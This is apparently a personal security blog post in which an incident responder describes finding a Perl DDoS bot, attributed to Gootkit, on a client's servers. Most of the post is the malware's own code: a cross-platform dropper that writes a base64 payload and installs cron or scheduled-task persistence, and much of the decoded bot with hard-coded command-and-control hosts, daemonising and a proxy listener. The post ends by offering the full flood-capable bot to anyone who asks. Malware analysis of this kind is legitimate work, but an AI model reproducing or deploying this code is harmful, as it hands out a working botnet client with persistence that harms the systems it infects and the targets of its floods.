It’s been awhile since I my last post but work is pressing these days and I’m trying to push my new website for public awareness in the .gr tld over the hacking scene and hacked domains. The new blog and soon website can be found at http://www.my-audit.gr and http://www.my-audit.gr/blog. Still this blog will remain as personal and general about security issues.
Few days ago I had a problem with some servers mainly due to high outgoing traffic, client ask to monitor the systems and find what is wrong on them. After a brief check I spotted the perl bots running in the system and causing the problems. The specific bot (part of the Gootkit ddos system) it was the first time that I had the chance to locate. Interesting part is that the bot can run bot on windows and on linux systems, dropping the correct payload based on the operating system.
OS detection:
#!/usr/bin/perl
use strict;
use warnings;
use MIME::Base64;
print "Content-type: text/plain\n\n";
my $os = $^O;
print "$os\n";
if ($os eq "MSWin32") {
my $temp = `echo %temp%`;
chomp $temp;
my $botfile = $temp."\\~PIF3E6.tmp.pl";
`cd $temp`;
open(BODY, ">", $botfile);
print BODY decode_base64(" _LONG TEXT_”)
close(BODY);
my $pid = fork;
if ($pid eq 0){
`schtasks /delete /f /tn perl`;
`schtasks /create /tr \"perl $botfile\" /tn perl /sc MINUTE /mo 1`;
`perl $botfile`;
exit;
}
`perl $botfile`;
exit;
}
#linux
open(OLD_UNIX, ">", "/tmp/.X11-unix");
print OLD_UNIX decode_base64(" _LONG_TEXT” )
close(OLD_UNIX);
system("echo '* * * * * perl /tmp/.X11-unix >/dev/null 2>&1' > /tmp/cron.d ; crontab /tmp/cron.d ; rm /tmp/cron.d");
system("perl /tmp/.X11-unix");
print "exdone\n";
Extracted from the base64 decoded string is the following perl script:
#!/usr/bin/perl
#part of the Gootkit ddos system
use Fcntl qw(:flock :DEFAULT);
use Socket;
use IO::Socket;
use IO::Select;
use POSIX 'setsid';
use Cwd 'abs_path';
print "Content-type: text/plain\n\n";
#---------------------------------------------------#
# CUSTOM parameters #
#---------------------------------------------------#
my $number_of_bots = 5;
my @defaults = ("tagtags.net:80", "demire.net:80", "kayzio.net:80");
my $pingTimeout = 1200;
my $proxyPort = 5432;
#---------------------------------------------------#
my $lockfilename;
my $serverfile;
my $idfile;
my $uafile;
my $kernel;
my $version = "2";
my $localip;
my $botid;
my $ua;
my $script_path = abs_path($0);
if ($^O eq "MSWin32"){
my $temp = `echo %temp%`;
chomp $temp;
$lockfilename = $temp."\\~PIF3G6.tmp";
$serverfile = $temp."\\~PIFSRV6.tmp";
$idfile = $temp."\\~PIFID45.tmp";
$uafile = $temp."\\~PIFUA11.tmp";
}
else {
$lockfilename = "/tmp/apachectrl2.lock";
$serverfile = "/tmp/apachectrl2.log";
$idfile = "/tmp/id";
$uafile = "/tmp/ua";
}
exit if (!check_multiprocess());
if ($ARGV[0] eq "detach"){
detachFromConsole();
exit;
}
if ($ARGV[0] eq "normal"){
print "normal work pid = $$...\n";
getKernel();
getBotId();
getLocalIp();
getUA();
print "version = ".$version."\nkernel = ".$kernel."\nos = ".$^O."\nlocalip = ".$localip."\nbotid =
".$botid."\nua = ".$ua."\n";
my %tasks = ();
my @newTaskList;
my $currentServer;
my $currentPort;
my $child = undef;
my $child_pid;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
#$SIG{'TERM'} = 'IGNORE';
#$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
#addServer ("who.is:7015");
#delServer("who.is:7015");
#getDomain ("pre", "suf.co.uk");
#proxy();
while (1){
Ping ("/ping");
sleep $pingTimeout;
}
exit;
}
#if ($ARGV[0] eq "daemon")
{
print "daemon...\n";
demonize();
exit;
}
sub REAPER {
while (waitpid(-1, WNOHANG) > 0){}
$SIG{CHLD} = \&REAPER;
}
#------------------------------------------------------------------#
sub demonize {
if ($^O eq "MSWin32")
{
my $schedDelete = "schtasks /delete /f /tn perl";
my $schedCreate = "schtasks /create /tr \"".$^X." ".abs_path($0)." detach\" /tn perl /sc MI
NUTE /mo 1";
print $schedDelete."\n";
print $schedCreate."\n";
`$schedDelete`;
`$schedCreate`;
my $child_proc;
print "detach...\n";
require Win32::Process;
Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_
PROCESS, ".") || die "Could not spawn child: $!";
$child_pid = $child_proc->GetProcessID();
print "child_pid = $child_pid, pid = $$ \n";
sleep(1.0);
POSIX::waitpid(-1, POSIX::WNOHANG()); # clean up any defunct child process
print "exit pid=$$\n";
exit;
}
else {
$SIG{CHLD} = \&REAPER;
if ( fork() ) {
exit;
}
setsid();
chdir('/');
open STDIN, "<", "/dev/null";
open STDOUT, ">", "/dev/null";
open STDERR, ">", "/dev/null";
umask(077);
$SIG{CHLD} = \&REAPER;
if ( fork() ) {
exit;
}
`echo '* * * * * $^X $script_path detach >/dev/null 2>&1' > /tmp/cron.d; crontab /tmp/cron.
d ; rm /tmp/cron.d`;
print "$$ exec...\n";
# Now go back to your regular business.
exec "$^X $script_path normal";
exit;
}
}
#------------------------------------------------------------------#
sub detachFromConsole {
if ($^O eq "MSWin32")
{
my $child_proc;
print "detach...\n";
require Win32::Process;
Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_
PROCESS, ".") || die "Could not spawn child: $!";
$child_pid = $child_proc->GetProcessID();
print "child_pid = $child_pid, pid = $$ \n";
}
else {
$SIG{CHLD} = \&REAPER;
if ( fork() ) {
exit;
}
setsid();
chdir('/');
open STDIN, "<", "/dev/null";
open STDOUT, ">", "/dev/null";
open STDERR, ">", "/dev/null";
umask(077);
$SIG{CHLD} = \&REAPER;
if ( fork() ) {
exit;
}
print "$$ exec...\n";
# Now go back to your regular business.
exec "$^X $script_path normal";
exit;
}
}
#------------------------------------------------------------------#
sub check_multiprocess {
for (my $i=0; $i<$number_of_bots; $i++){
my $lockfile=$lockfilename.".".$i;
if (-f $lockfile){
my $lock_pid = 0;
open(LOCK,"<$lockfile");
my $zombie_lock_flag = flock(LOCK, LOCK_EX|LOCK_NB);
close (LOCK);
if ($zombie_lock_flag == 0){
next;
} else {
unlink("$lockfile");
redo;
}
}else{
sysopen(LOCK, $lockfile, O_CREAT|O_EXCL|O_WRONLY) or die 'cannot create lock file';
print LOCK "$$\n";
close(LOCK);
open(GLOB_LOCK,"<$lockfile");
flock(GLOB_LOCK, LOCK_EX);
return 1;
}
}
return 0;
}
#------------------------------------------------------------------#
sub proxy {
$SIG{CHLD} = \&REAPER;
$child = fork;
if ($child == 0)
{
my $proxySocket;
socket($proxySocket, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($proxySocket, SOL_SOCKET, SO_REUSEADDR, 1) or die "Can't set socket option to SO
_REUSEADDR $!\n";
bind ($proxySocket, sockaddr_in($proxyPort, INADDR_ANY)) or die "Can't bind to port $proxyP
ort! \n";
listen($proxySocket, SOMAXCONN) or die "listen: $!";
print "Server: started on port $proxyPort\n";
my $activeSockets = 0;
while (1) {
my $clientSocket;
my $clientAddr;
print "Server: waiting for connect...\n";
$clientAddr = accept($clientSocket, $proxySocket);
$activeSockets ++;
print "Server: new connect. activeSockets = $activeSockets\n";
my $targetHost = "";
my $x;
my $recievedLine = "";
my $dataToSend = "";
do {
…. very long many capabilities udp flood http flood, if anybody would like to have a copy contact me.